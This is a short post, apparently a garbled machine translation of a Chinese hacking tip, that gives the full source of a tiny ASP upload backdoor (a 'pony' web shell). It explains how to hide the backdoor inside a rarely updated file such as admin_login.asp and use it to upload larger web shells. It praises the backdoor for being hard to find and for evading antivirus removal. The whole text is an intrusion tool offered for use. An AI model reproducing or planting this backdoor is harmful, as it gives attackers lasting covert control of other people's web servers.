An ASP pony _ Trojan Related

<%if request. QueryString ("action") = "Log" Then
A=request.totalbytes:if a Then b= "ADODB.stream": Set c=createobject (b): C.type=1:c.open:c.write Request.BinaryRead (a) : C.position=0:d=c.read:e=chrb (&CHRB): F=instrb (d,e): G=instrb (f+1,d,e): Set H=createobject (b): H.Type=1:h . Open:c.position=f+1:c.copyto h,g-f-3:h.position=0:h.type=2:h.charset= "BIG5": I=h.readtext:h.close:j=mid (I, InStrRev (i, "\") +1,g): K=instrb (d,e&e) +4:l=instrb (K+1,D,LEFTB (d,f-1))-k-2:h.type=1:h.open:c.position=k-1:c. CopyTo H,l:h.savetofile Server.MapPath (j), 2%><form Enctype=multipart/form-data method=post><input File Name=n><input type=submit></form>
<%end if%>

Reason: can upload file, concise, small size, not easy to find.
Use: First use Haiyang or blue screen editor to edit the horse into some difficult to update the file, such as admin_login.asp. When you operate a file, you can upload a Haiyang or a blue screen by typing in a admin_login.asp?action=log in the browser. After the operation with the blue screen and so on its own delete function will be deleted. When you come back, use this to send Haiyang and so on. Almost used not to be killed.